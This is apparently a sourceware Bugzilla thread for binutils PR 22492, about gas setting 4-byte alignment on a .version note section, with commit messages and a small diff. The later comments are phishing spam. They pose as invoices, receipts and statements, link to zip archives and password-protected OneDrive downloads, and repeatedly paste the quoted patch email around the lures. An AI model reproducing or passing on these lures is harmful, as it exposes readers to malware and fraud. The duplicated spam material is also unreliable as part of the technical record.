[hjl@gnu-tools-1 gas]$ cat /tmp/x.s .version "Version 1.0" [hjl@gnu-tools-1 gas]$ gcc -c /tmp/x.s -m32 [hjl@gnu-tools-1 gas]$ readelf -SW x.o There are 8 section headers, starting at offset 0xd0: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00000000 000034 000000 00 AX 0 0 1 [ 2] .data PROGBITS 00000000 000034 000000 00 WA 0 0 1 [ 3] .bss NOBITS 00000000 000034 000000 00 WA 0 0 1 [ 4] .note NOTE 00000000 000034 000018 00 0 0 1 [ 5] .symtab SYMTAB 00000000 00004c 000050 10 6 5 4 [ 6] .strtab STRTAB 00000000 00009c 000001 00 0 0 1 [ 7] .shstrtab STRTAB 00000000 00009d 000032 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) [hjl@gnu-tools-1 gas]$ obj_elf_version pads note section to 4 byte alignment: frag_align (2, 0, 0); But it doesn't set section alignment to 4 bytes.
The master branch has been updated by Nick Clifton <nickc@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=e3d40582166056dd1dfeef2a06ba8f5897b673ee commit e3d40582166056dd1dfeef2a06ba8f5897b673ee Author: Nick Clifton <nickc@redhat.com> Date: Mon Nov 27 11:04:17 2017 +0000 When creating a .note section to contain a version note, set the section alignment to 4 bytes. PR 22492 * config/obj-elf.c (obj_elf_version): Set the alignment of the .note section.
Hi H.J. OK - I have checked in the obvious fix. But .. do we need 8 byte alignment on 64-bit targets ? Cheers Nick
(In reply to Nick Clifton from comment #2) > Hi H.J. > > OK - I have checked in the obvious fix. But .. do we need 8 byte > alignment on 64-bit targets ? > Given that .note.ABI-tag and .note.gnu.build-id are aligned to 4 bytes in 64-bit objects, we can keep it aligned to 4 bytes in 64-bit objects.
An extra patch is not needed.
Was the patch in comment #1 posted to the mailing list? There's a small nit.. I think it should be using record_alignment rather than bfd_set_section_alignment.
The master branch has been updated by Nick Clifton <nickc@sourceware.org>: https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ed9c7ee03780b8d5acf091091ded29cd40df8254 commit ed9c7ee03780b8d5acf091091ded29cd40df8254 Author: Nick Clifton <nickc@redhat.com> Date: Wed Nov 29 09:32:49 2017 +0000 Use the record_alignment function when creating a .note section, in case the user has already created the section. PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment.
Hi Alan, > https://sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the patch in comment #1 posted to the mailing list? Sorry no - that was my bad. > There's a small nit.. > I think it should be using record_alignment rather than > bfd_set_section_alignment. So it should. I have checked in this patch to fix the problem. Cheers Nick gas/ChangeLog 2017-11-29 Nick Clifton <nickc@redhat.com> PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 --- a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7 @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); - bfd_set_section_alignment (stdoutput, note_secp, 2); + record_alignment (note_secp, 2); /* Process the version string. */ len = strlen (name) + 1;
Good day. You should take a good look at all the numbers I forward here and direct me the modified info. https://meetinsrilanka.com/molestias-et/iste.zip -----Original Message----- On Wednesday, 29 November 2017, 09:34, <sourceware-bugzilla@sourceware.org> wrote: > Good day. > > You should take a good look at all the numbers I forward here and direct me > the modified info. > > https://meetinsrilanka.com/molestias-et/iste.zip
Good day, I haven't seen any reaction regarding the receipt documentation I sent you before. Have you received it? If no, here I load it again: https://onedrive.live.com/download?cid=DD2DE36AE832B92E&resid=DD2DE36AE832B92E%21107&authkey=AFBKwxzynSAqM78 File password: HH5768 Hi Alan, > sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the patch in comment #1 posted to the mailing list? Sorry no - that was my bad. > There's a small nit.. > I think it should be using record_alignment rather than > bfd_set_section_alignment. So it should. I have checked in this patch to fix the problem. Cheers Nick gas/ChangeLog 2017-11-29 Nick Clifton <> PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 --- a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7 @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); - bfd_set_section_alignment (stdoutput, note_secp, 2); + record_alignment (note_secp, 2); /* Process the version string. */ len = strlen (name) + 1;
Greetings! I have got the necessary monthly invoices. You can find it lower: https://onedrive.live.com/download?cid=4828785AB62D541C&resid=4828785AB62D541C%21125&authkey=ALGP8XHB-b4XdWM File password: PK2332 Hi Alan, > sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the patch in comment #1 posted to the mailing list? Sorry no - that was my bad. > There's a small nit.. > I think it should be using record_alignment rather than > bfd_set_section_alignment. So it should. I have checked in this patch to fix the problem. Cheers Nick gas/ChangeLog 2017-11-29 Nick Clifton <> PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 --- a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7 @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); - bfd_set_section_alignment (stdoutput, note_secp, 2); + record_alignment (note_secp, 2); /* Process the version string. */ len = strlen (name) + 1;
Hello! Examine the essential statement please: https://onedrive.live.com/download?cid=9D08D52A0A2C64DB&resid=9D08D52A0A2C64DB%21106&authkey=AHgXoV8VKtKdSao File password: MT7658 Hi Alan, > sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the patch in comment #1 posted to the mailing list? Sorry no - that was my bad. > There's a small nit.. > I think it should be using record_alignment rather than > bfd_set_section_alignment. So it should. I have checked in this patch to fix the problem. Cheers Nick gas/ChangeLog 2017-11-29 Nick Clifton <> PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 --- a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7 @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); - bfd_set_section_alignment (stdoutput, note_secp, 2); + record_alignment (note_secp, 2); /* Process the version string. */ len = strlen (name) + 1;
Hello, After you have- analyzed all these papers, we can easily d-iscuss the following steps: https://mtbmyanmar.net/rci/euandcinsriiaslebatd https://onedrive.live.com/download?cid=CPZ08C5HBNDTSEYI&resid=CPZ08C5HBNDTSEYI%27953&authkey=biFojS9jsGt6-QC Hi Alan, > sourceware.org/bugzilla/show_bug.cgi?id=22492 > Was the patch in comment #1 posted to the mailing list? Sorry no - that was my bad. > There's a small nit.. > I think it should be using record_alignment rather than > bfd_set_section_alignment. So it should. I have checked in this patch to fix the problem. Cheers Nick gas/ChangeLog 2017-11-29 Nick Clifton PR 22492 * config/obj-elf.c (obj_elf_version): Use record_alignment rather than bfd_set_section_alignment. diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c index 2d1d1679b8..61c573a5e4 100644 --- a/gas/config/obj-elf.c +++ b/gas/config/obj-elf.c @@ -1829,7 +1829,7 @@ obj_elf_version (int ignore ATTRIBUTE_UNUSED) bfd_set_section_flags (stdoutput, note_secp, SEC_HAS_CONTENTS | SEC_READONLY); - bfd_set_section_alignment (stdoutput, note_secp, 2); + record_alignment (note_secp, 2); /* Process the version string. */ len = strlen (name) + 1;